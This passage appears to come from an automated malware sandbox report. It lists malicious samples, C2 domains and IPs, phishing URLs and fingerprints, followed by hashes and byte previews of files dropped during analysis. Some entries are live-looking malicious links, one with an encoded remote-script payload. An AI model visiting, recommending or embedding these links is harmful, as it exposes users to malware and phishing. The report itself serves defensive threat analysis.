	http://www.paypr.com	Get hash	malicious	Unknown	Browse	www.paypr.com/
	Fxj6eiNUQ1.exe	Get hash	malicious	Unknown	Browse	mypark.cc/qa/
	1boDHMvtCl.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	N7B5dyjbIS.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	bhiDwU4Geh.exe	Get hash	malicious	Tinba	Browse	qvvksmeemfgd.com/spam/
	K73CgOgVZ9.exe	Get hash	malicious	Tinba	Browse	qvvksmeemfgd.com/spam/
	I90gcqKK3m.exe	Get hash	malicious	Tinba	Browse	ggvruxovlbrm.com/spam/
	KlNXUPV2V9.exe	Get hash	malicious	Tinba	Browse	qvvksmeemfgd.com/spam/
	26cCgegATh.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	4jNfjcMzST.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	PFubud554p.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	xST04RvuDH.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	rTv7jUz1P5.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	6phPAtxcUR.exe	Get hash	malicious	Tinba	Browse	cmnsgscccrej.pw/EiDQjNbWEQ/
	IPwhmF3OZ3.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	sZ8q0q3VNz.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
173.222.162.32	java.exe	Get hash	malicious	Tinba	Browse
173.222.162.32	p2pWin.exe	Get hash	malicious	Petya / NotPetya, Mimikatz	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mfueeimvyrsp.pw	sNZuv8N8pu.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	C08nibNrTH.exe	Get hash	malicious	Unknown	Browse	216.218.185.162
	3VPzpw8aQd.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	hyyjqrWo12.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	ph0Z652SJT.exe	Get hash	malicious	Unknown	Browse	216.218.185.162
fccfxejgtpqb.pw	3VPzpw8aQd.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
fccfxejgtpqb.pw	hyyjqrWo12.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
cmnsgscccrej.pw	java.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	6phPAtxcUR.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	deOHDeSfAr.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	o2tow8Yiis.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	Mb5ahRznK0.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	s81nbT3Zep.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	sNZuv8N8pu.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	jq7Pr9KzM4.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	tchXcDTqcH.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	C08nibNrTH.exe	Get hash	malicious	Unknown	Browse	216.218.185.162
	FkwKWgolSq.exe	Get hash	malicious	Unknown	Browse	216.218.185.162
	jinqBxHe8g.exe	Get hash	malicious	Unknown	Browse	216.218.185.162
	3VPzpw8aQd.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	hyyjqrWo12.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	ZI1t52NPYC.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	ph0Z652SJT.exe	Get hash	malicious	Unknown	Browse	216.218.185.162
	XYLMAkG1gD.exe	Get hash	malicious	Unknown	Browse	216.218.185.162
vcklmnnejwxx.pw	java.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	1boDHMvtCl.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	N7B5dyjbIS.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	PFubud554p.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	6phPAtxcUR.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	IPwhmF3OZ3.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	sZ8q0q3VNz.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	deOHDeSfAr.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	o2tow8Yiis.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	S6bS8zCitm.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	eddLVK4Ak8.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	oaCC6gQGMe.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	Mb5ahRznK0.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	cBn0fkHo3x.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	s81nbT3Zep.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	tHgi7eqSU8.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	Se7RDF9xyE.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	i3kLBdupx2.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	sNZuv8N8pu.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	5ylKBM0tAz.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
wwgfyvvdtmeq.pw	sNZuv8N8pu.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	3VPzpw8aQd.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	hyyjqrWo12.exe	Get hash	malicious	Tinba	Browse	216.218.185.162

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-CHOOPAUS	https://jspen.co/#JTNDJTczJTYzJTcyJTY5JTcwJTc0JTIwJTczJTcyJTYzJTNEJTIyJTY4JTc0JTc0JTcwJTczJTNBJTJGJTJGJTYxJTcwJTcwJTczJTY1JTZFJTY0JTY3JTcyJTY5JTY0JTM5JTMzJTM4JTM3JTJFJTYxJTdBJTc1JTcyJTY1JTY2JTY0JTJFJTZFJTY1JTc0JTJGJTc1JTcwJTY0JTYxJTc0JTY1JTczJTJFJTZBJTczJTIyJTNFJTIwJTNDJTJGJTczJTYzJTcyJTY5JTcwJTc0JTNF	Get hash	malicious	Unknown	Browse	66.42.84.244
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	155.138.149.238
	cum.z.dll	Get hash	malicious	PikaBot	Browse	107.191.56.230
	TransferiXX103XXDMT231151342.docx.doc	Get hash	malicious	Unknown	Browse	149.28.109.84
	TransferiXX103XXDMT231151342.docx.doc	Get hash	malicious	Unknown	Browse	149.28.109.84
	Y3b5c7qTOT.exe	Get hash	malicious	Gurcu Stealer	Browse	104.238.189.120
	https://storage.googleapis.com/fedexfr/hreflj.html#?Z289MSZzMT0xNzYyOTM4JnMyPTM3NjI4MTYzOSZzMz1HTEI=	Get hash	malicious	Phisher	Browse	66.42.117.113
	XEXPJu3n0v.exe	Get hash	malicious	BazaLoader	Browse	216.128.135.246
	XEXPJu3n0v.exe	Get hash	malicious	BazaLoader	Browse	216.128.135.246
	Qzb.js	Get hash	malicious	Unknown	Browse	45.77.85.150
	Qzb.js	Get hash	malicious	Unknown	Browse	45.77.85.150
	https://freelancerden.com/zinv3z/?74937581	Get hash	malicious	Unknown	Browse	45.77.85.150
	Notevu.js	Get hash	malicious	Unknown	Browse	45.77.85.150
	Notevu.js	Get hash	malicious	Unknown	Browse	45.77.85.150
	Oom.js	Get hash	malicious	Unknown	Browse	45.77.85.150
	Oom.js	Get hash	malicious	Unknown	Browse	45.77.85.150
	x86-20231215-0918.elf	Get hash	malicious	Mirai	Browse	144.202.77.79
	Noteln.js	Get hash	malicious	Unknown	Browse	137.220.58.128
	Noteln.js	Get hash	malicious	Unknown	Browse	137.220.58.128
	1136-1212-DEC.PDF.exe	Get hash	malicious	AsyncRAT, zgRAT	Browse	207.246.82.230
HURRICANEUS	Pay-App+for+final+lien+release+requires+your+review.htm	Get hash	malicious	Unknown	Browse	64.71.144.72
	PrintWiz.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	java.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	3G36K54KKw.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	imaginebeingarm7.elf	Get hash	malicious	Mirai, Moobot	Browse	170.199.208.0
	2YRmJ2lhap.exe	Get hash	malicious	Unknown	Browse	72.52.84.202
	L8PCdNq0xs.elf	Get hash	malicious	Mirai	Browse	184.104.188.104
	22iXhC1ACX.elf	Get hash	malicious	Mirai	Browse	5.152.182.52
	oBtxppgLWB.elf	Get hash	malicious	Mirai	Browse	216.218.165.228
	z0r0.x86.elf	Get hash	malicious	Mirai	Browse	72.14.64.79
	5aHdc3wOqU.elf	Get hash	malicious	Mirai	Browse	173.242.57.34
	Ok003hLQXE.elf	Get hash	malicious	Mirai	Browse	72.14.64.64
	PPh4qGlopz.elf	Get hash	malicious	Unknown	Browse	184.104.158.219
	QbQ0spd3GB.elf	Get hash	malicious	Mirai	Browse	209.135.12.122
	zjkV4N6A5M.elf	Get hash	malicious	Mirai	Browse	65.49.39.198
	2EDcea0dMU.elf	Get hash	malicious	Mirai	Browse	65.49.39.187
	shellx86.elf	Get hash	malicious	Mirai	Browse	64.209.57.27
	https://storage.googleapis.com/ufdufdjsdgssd/sdsdsd.html#76vcehxnjljkp4.pxnSNbPhXqGHed?xlnhhxqyptimqm=vogevumbsrslljMWljdXpvcDAwMDZiMTAwMWJscjAyMDJ1MGEwMjgxMTQzMzRwZA==	Get hash	malicious	Phisher	Browse	65.49.76.53
	sora.arm.elf	Get hash	malicious	Mirai	Browse	72.14.64.79
	5jDiu75EIe.elf	Get hash	malicious	Mirai, Moobot	Browse	184.104.7.252
AKAMAI-ASUS	WEXTRACT13.EXE.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	184.51.209.125
	WEXTRACT32.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	23.58.234.79
	ccsetup401.exe	Get hash	malicious	Unknown	Browse	184.84.137.50
	wextract.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar	Browse	23.61.62.118
	wexctract.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar	Browse	104.94.108.105
	FDLrj6GAhj.elf	Get hash	malicious	Mirai	Browse	23.7.49.162
	XKpsAUCtnp.exe	Get hash	malicious	Glupteba, Stealc, Vidar	Browse	23.43.173.32
	http://e.mrktl.email/e/tl.php?p=4k1/4k1/rs/ds2y/ry/rs//https://www.docsprefix.com	Get hash	malicious	HTMLPhisher	Browse	23.221.214.80
	https://guyanachronicle.com/2023/12/15/guyana-maintains-commitment-to-icj-process-in-resolution-of-border-controversy/	Get hash	malicious	Unknown	Browse	23.215.200.26
	Quarantined Messages (23).zip	Get hash	malicious	Unknown	Browse	96.7.192.232
	https://baharat.ma/q99cz/?AOUmbYoGQH8qEHID79hLryfW8V	Get hash	malicious	Unknown	Browse	23.202.70.77
	gkHZFP0Kbr.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	184.51.209.125
	qVn2uj3FTs.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	23.61.62.118
	lqePeeQDVX.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	184.51.209.125
	https://s-teamg.com/p/wvc-jtrd/vrawqtgf/	Get hash	malicious	Unknown	Browse	23.61.62.118
	https://steannconnmunitiy.ru/	Get hash	malicious	Unknown	Browse	23.215.201.167
	https://www.ratuken-card.xixihuahua.com/rms/client/LO0101001.php	Get hash	malicious	Unknown	Browse	23.46.212.66
	https://1drv.ms/b/s!Aj_dAsJOtS3GeKVcEaa61wq6boU?e=TSuYkW	Get hash	malicious	Unknown	Browse	23.43.173.54
	BeSYhza0Q4.exe	Get hash	malicious	SmokeLoader	Browse	23.61.62.118
	ED1UPpAvQI.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	23.61.62.118

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Gadellnet-Thursday December 2023.html	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	https://s1uju.mjt.lu/lnk/Aa0AAHzepRAAAAAAAAAAAdSAuugAAYCsqJEAAAAAACbqRwBlhaUxYsMeMGO3Ro60obYs4n9-6AAkLwY/1/Gmx7uscHQdCNz9WDknuTTg/aHR0cHM6Ly9rdXRla3JvY2suY29t	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	173.222.162.32
	http://www.npb.scforum.jp/jump.php?uid=991&url=//hellointerior.jp/product?url=https%3A%2F%2Ftimmoorhouse.co.uk%2Foki%2Fcucreationtechccreationtechl%2Fursula.vieira@creationtech.com	Get hash	malicious	Unknown	Browse	173.222.162.32
	http://chnmqhb.com/LD51p689	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://adclick.g.doubleclick.net/pcs/click?f8293meh8ap-2023-857497924696299379476644RtDbISfkd&&adurl=https://synergyconsulting.us	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://s1uju.mjt.lu/lnk/Aa0AAHzeL-AAAAAAAAAAAdSAuugAAYCsqJEAAAAAACbqRwBlhaC6Hhgd9HAYTryUV8KUPIVVGQAkLwY/1/ztVpfPwwX37lBlYILcm29g/aHR0cHM6Ly9nb2V4aXN0LmNvbQ	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	173.222.162.32
	https://forcandaians.blob.core.windows.net/forcandaians/url.html#cl/2303_md/1110/3079/674/28/289838	Get hash	malicious	Phisher	Browse	173.222.162.32
	https://s1uju.mjt.lu/lnk/Aa0AAHzUSLgAAAAAAAAAAdSAuugAAYCsqJEAAAAAACbqRwBlhXOrTwoIzGZGR-Okagh-ihNXDwAkLwY/1/pD-vc4HduJrPGJDkhuro2w/aHR0cHM6Ly9zcmFtYWxsLm9yZw	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	173.222.162.32
	https://madriidbqrca.sa.com/bik/freshmontana	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://tardimed.com/rd/?TlAVZNnhZkUnzovXrrhewsbVZWUTTLmjIOfqRCWvaagkMQqKwQnJhiYTkXHqwxfqKwGRYWQ	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://my.visme.co/view/mxkm0ny3-smart-uk-automotive-ltd	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://my.visme.co/view/mxkm0ny3-smart-uk-automotive-ltd	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://www.uptodate.com/external-redirect?target_url=http%3A%2F%2Fapc.foundation%2Fwsm3To8Kvk-4Gr4RAdgQ3El-Q8Kvhs4RA-d5org&token=o1j24x8yqbCigYycIC6ni4B7VDe7Hz17hJNfy5f8gT3%2F1GKAFN45f%2BlZyQqB2Xd7&TOPIC_ID=119517	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://weltechind.com/	Get hash	malicious	PayPal Phisher	Browse	173.222.162.32
	https://s1uju.mjt.lu/lnk/Aa0AAHzaqYgAAAAAAAAAAdSAuugAAYCsqJEAAAAAACbqRwBlhZqIiq8cFIWIQ56xaLPcgUHZqgAkLwY/1/1-MAs2MOsYlWd8HtFTCmoQ/aHR0cHM6Ly9raW5ncm9vZmluZ3NlcnZpY2UuY29tLw	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	173.222.162.32
	https://www.uptodate.com/external-redirect?target_url=http%3A%2F%2Fpps.foundation%2Fjosull4RAvanl-Q8Kvw4RAngam3TQ3E-d58Kvo-y5&token=o1j24x8yqbCigYycIC6ni4B7VDe7Hz17hJNfy5f8gT3%2F1GKAFN45f%2BlZyQqB2Xd7&TOPIC_ID=119517	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://trk.klclick3.com/ls/click?upn=-2FgaU8RLc6P7ZWBYySFmXjQ0P4X0wBP8bRWCeHJL28FigfvAh-2FwQ3qJ52EBcvbof8I5P6xAfpml8z7TniW-2FWxQvRuFLROMSBVcKgy9VJM2tkwRXZR8TVwVCOAiVcnqcuvdnXNQhD8-2Fg2liKoNwBrCMXH9dYeS9QJvyMO6N59zCG4-3D89Yx_Qng6PoYR30S3YpbpzFZ26LgIriatK0FSuI-2BhWJryzTfZCNrgf-2FFm4SytOfZHUV3A3-2B9-2F4B09o8bmiezN-2FGwmZk1otAmZHbJZwJ9iAY-2Fvhxr7B2ms3JTGAfBhEfEI-2BZpH6fDRrdV7imgKk-2FIFP7Z94enBwZIKE-2FRIpUsrN0ud5akDNVikJ0FWlX1NhVDdkTB0cfBpdlR89boP4R4gqzKGoRkxzcuUuC590Xb9eWGi6XV2HnHiRtMdaJr9MSrE8vF4-2FhwaNGYDie3HUnP99d9ZOWqUaFXOo4BFdXP2Bs7dYEexFPSSnbIi-2F9sFrFOkJKmlHis47t7An7wXntq38WUEDTKj4n2bWh5VgtoofEtidoOEQKgTKnvnSTH8uPmsbB3DR015jLZjVXCftP0IiLLbpbs81BXCrGkuHfcSeoVo9m67TjNcdBXzcL8d5QIVHxkhtGjL7-2FFiA-2BkP4LKyusiO3A-3D-3D	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://www.joesandbox.com/analysis/1366229	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://pps.foundation/johnam3Than-d5dudlQ3Eyl-Qhorwam3Th-d58Kvo-d5uk&token=o1j24x8yqbCigYycIC6ni4B7VDe7Hz17hJNfy5f8gT3%2F1GKAFN45f%2BlZyQqB2Xd7&TOPIC_ID=119517	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://cld.pt/dl/download/c89835ff-781b-4959-be5a-67275492638b/CarrefourFacturaNOPAGO_REF19122023-A4-SIMPLEX-A9-TLLTK_FECHA20122023.zip	Get hash	malicious	Unknown	Browse	173.222.162.32

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	131840
Entropy (8bit):	5.537536286594621
Encrypted:	false
SSDEEP:	1536:noA2EC/DdOb611qUFDjoA2QU/DWJb61PCUFe/oA2OA/DuFb614LUFqh:pxUFtlUF09UFa
MD5:	9204821775860F2916C5345A284D1804
SHA1:	A16FE7F54548F1E18B510871B4D049E9306220C3
SHA-256:	AA98FD516AE3C31A189685AB146EB2CF657492FF4B3CA4DAB7CFE11352E6FF41
SHA-512:	E518A6AB98ADCFA6E2F322942E1D46493827747BECF8F37D3C057A6C1F5DA010035AF7B8C43F1FBABD12275DF98D1777F9DC7A5E092E60BC1F019DBF11BBF57F
Malicious:	false
Preview:	........m...e.e.h#.."...3..........a.B...........v.............................................................................w.5.......^.......G.(.......>..............................................................................IA.,!Y...T...U..%.(P..x_exe_pathc:\users\user\desktop\officesetup.exeeC...@.,....4l..z..==Jy.;..hosteC..I?.,!Y..4l..z..==Jy.;..x_exe_pathc:\users\user\desktop\officesetup.exeeC...>.,......$s.A\.8\|.vP.hosteC..<=.,.A....$s.A\.8\|.vP.packageidmicrosoft.windows.explorereC..@<.,'A....$s.A\.8\|.vP.windows_win32microsoft.windows.explorereC...;.,...C...?O..}-j:..hoste%<N<:.,.A.C...?O..}-j:..packageidmicrosoft.windows.explorere%<N@9.,'A.C...?O..}-j:..windows_win32microsoft.windows.explorere%<N.8.,.....g.,..... z..S;Z.lZv.N!hoste.~.B.f.,!K... z..S;Z.lZv.N!x_exe_pathc:\users\user\desktop\java.exee.~....C,....xX.%....^...._.hosteD.$....,..#..xX.%....^...._.packageid{6d809377-6af0-444b-8957-a3773f02200e}\adobe\acrobat dc\acrobat\acrobat.exeeD.$....,'.#..xX

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4770 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4770
Entropy (8bit):	7.946747821604857
Encrypted:	false
SSDEEP:	96:9/nBu64pydcvOHRUfu0xK1bQYMRSRNoYmxYvk56sHMZhh4m:9/nBuP2cGxUfu6K1bpWJ6vfh4m
MD5:	1BFE591A4FE3D91B03CDF26EAACD8F89
SHA1:	719C37C320F518AC168C86723724891950911CEA
SHA-256:	9CF94355051BF0F4A45724CA20D1CC02F76371B963AB7D1E38BD8997737B13D8
SHA-512:	02F88DA4B610678C31664609BCFA9D61DB8D0B0617649981AF948F670F41A6207B4EC19FECCE7385A24E0C609CBBF3F2B79A8ACAF09A03C2C432CC4DCE75E9DB
Malicious:	false
Preview:	MSCF............,...................O.................2Wqh .disallowedcert.stl....^K...CK.wTS...:.w.K'.C0T.....Bh.{....C.)......Y@...(..).R."E..D^6........u....\|f~3...o.3. ..SPK.k.o#...."{-.U..P........:..aPr.@.d......Dy.h.....)..:...!./\A.....A<I_<$...q.h..........'.....7....H...@`T..K.S.%...Y4..R.....`.....-....D...(..b..-c."...G.=.dx..S+..2.a.E....d.L...77J...c.[..@..iT&..^78..g....NW6.Ek..FY.F........cNt.O...R..........D...... k........J.y...z.d...;.9_t...].@....yw..}.x....d.t..`f\K..;\|.h.X...4/.;.xT......q>.0...<...3...X..L$.&.,b.....\V....\......G..O..@..H3.....t..J..).x.?.{[..G>.7...<...^Q..z..Gw9P..d....i].n%K}.z..2.Py...A..s...z..@...4..........4.....Y.d..._Z.5.s..fl.C..#.K{9^.E...k..z.Ma..G.(.....5g. ...}.t.#4....$;.,....S@fs....k......u .^2.#_...I........;.......w..P...UCY...$;.S._\|.x..dK...[i..q..^.l..A.?.....'N.. .L.l......m.*.+f#]............A.;.....Z..rIt....RW....Kr1e=8.=.z:Oi.z.d..r..C_......o...]j.N;.s....3@3.dgrv.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	3.174857563182266
Encrypted:	false
SSDEEP:	6:kKIlAN+SkQlPlEGYRMY9z+s3Ql2DUevat:ARkPlE99SCQl2DUevat
MD5:	1F74494626BCB6B011CE0D4552A81914
SHA1:	2B65A0CE57F353D8C7002272476D92AF5561A9AE
SHA-256:	DA469E4D3012F1FA171BA1E0FCF595F58F433B66CCFF07B68E3C5EF3088C1E30
SHA-512:	30BE11CE26F46656AD825598A76CF27C447D106759D223B0D28D87212DDB96C4B44A7D44B1F7B874A023D736B2D799FF7A4DF9BA4D6FED8647DEAFBE0A2A8130
Malicious:	false
Preview:	p...... ........XB...5..(....................................................... .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\XIYR6UZ0\www.bing[1].xml

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	Unicode text, UTF-8 text, with very long lines (45174), with no line terminators
Category:	dropped
Size (bytes):	45182
Entropy (8bit):	5.035881903277035
Encrypted:	false
SSDEEP:	768:LMZG7xRKm1A1a/Qh/qLPvkc1mYyPdT9SWrRW:LLcrW
MD5:	4CA54DDB0103D06971129D7733DBFF61
SHA1:	2FFEF257617FDF189C83C17331D1550656D7E0A0
SHA-256:	794F7217D2DD4F15DBB0D8168084DED15E759F207B79F3127EB7FF79B5BA7CE6
SHA-512:	809DC1F9D82BE83EE6727E0A187E50F72797494651E3DF66F831FF3EB5D604BAC60E3D003330C9AA9694BBC46C82016CF6B1A4F71998E4B5259DAE1085DC661B
Malicious:	false
Preview:	<root><item name="eventLogQueue_Online" value="[]" ltime="2630288056" htime="31077663" /><item name="eventLogQueue_Online_logUploadIntervalStartDate" value="1696333692425" ltime="2102739245" htime="31061487" /><item name="eventLogQueue_Online_uploadedLogSizeInInterval" value="0" ltime="2102740428" htime="31061487" /><item name="mdsb-v" value="8" ltime="2823990064" htime="31061487" /><item name="DSBMomentsCacheKey" value="{"cacheTime":1696333765585,"response":{"SchemaVersion":"1.1","ContentCollection":[{"Date":"20231003","Name":"IOTD: WhitsundaySwirl","Order":1,"IsMainColumnInLeft":true,"Data":[{"CardType":"Hero","UXOrder":1,"Cards":[{"Scenario":"ImageOfTheDay","UXTemplateName":"DescriptiveHoverCard","FieldsStore":{"Title":"Whitehaven Beach, Whitsunday Island, Queen

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cadb2414-ac3a-4eb8-ac64-c5a60c670f90}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	37421
Entropy (8bit):	4.611252091103942
Encrypted:	false
SSDEEP:	768:6UjQxwcuyEZDqRKmJHGHly84yeiEaFHm2iLOOXYcc2jZ:b6y5U5Jkb4yej+vUOOoujZ
MD5:	9BDE56D9C4532F269928C5CE1FF2560D
SHA1:	FB816F6AAF8B7FF7CBB0B521A9D30BAA52CDDB7F
SHA-256:	89DE51E447ED49F7748B3D9C077B97703629575241D5BE61EAB5D4196C6CECAD
SHA-512:	DFB9548743887463AB6161D0972E6BB501BF4576D0CDAF1A7C7EE1E427DF59361BBD128D034AB45B68C8E48CA645022E39C5507A439074B30489E25F390760FF
Malicious:	false
Preview:	0.0....~.....~.....~.....~.....~.....~...~.....~.....~.....~.......~......~.......~.....~.....~.....~.....~......~.....~......~......~.......~.....~......~.....~.......~.......~......~.....~......~.......~.....~......~.....~.....~......~......~.....~......~.....~.............~.......~...md~...alc~..zune~..zord~..znip~..zip help~..zip file manager~..yourphone~..your phone~..yhis pc~..y pc~..y computer~..xxbox~..xox~..xontrol panel~..xonreol~..xnox~..xnipping~..xms~..xmd~..xls:wux:xls~..xhrome~..xcontrol~..xcmd~..xchrome~..xcalc~..xbxox~..xbv~..xbpx~..xboz~..xbox~..xboxx~..xboxc~..xbos~..xbop~..xboox~..xboix~..xboc~..xbob~..xbix~..xbb~..xamera~..xalc~..x86)~..x64)~..x box~..wyc~..wxcwl~..wxcel~..wword~..wsord~..wsnip~..wrord~..wrod~..wrodpad~..wqord~..wprd~..wprdpad~..wpord~..wowrd~..wotrd~..wotd~..wo

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cadb2414-ac3a-4eb8-ac64-c5a60c670f90}\0.1.filtertrie.intermediate.txt

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Dy:W
MD5:	34BD1DFB9F72CF4F86E6DF6DA0A9E49A
SHA1:	5F96D66F33C81C0B10DF2128D3860E3CB7E89563
SHA-256:	8E1E6A3D56796A245D0C7B0849548932FEE803BBDB03F6E289495830E017F14C
SHA-512:	E3787DE7C4BC70CA62234D9A4CDC6BD665BFFA66DEBE3851EE3E8E49E7498B9F1CBC01294BF5E9F75DE13FB78D05879E82FA4B89EE45623FE5BF7AC7E48EDA96
Malicious:	false
Preview:	0.1..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cadb2414-ac3a-4eb8-ac64-c5a60c670f90}\0.2.filtertrie.intermediate.txt

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Ay:Ay
MD5:	C204E9FAAF8565AD333828BEFF2D786E
SHA1:	7D23864F5E2A12C1A5F93B555D2D3E7C8F78EEC1
SHA-256:	D65B6A3BF11A27A1CED1F7E98082246E40CF01289FD47FE4A5ED46C221F2F73F
SHA-512:	E72F4F79A4AE2E5E40A41B322BC0408A6DEC282F90E01E0A8AAEDF9FB9D6F04A60F45A844595727539C1643328E9C1B989B90785271CC30A6550BBDA6B1909F8
Malicious:	false
Preview:	0.2..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cadb2414-ac3a-4eb8-ac64-c5a60c670f90}\Apps.ft

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	data
Category:	dropped
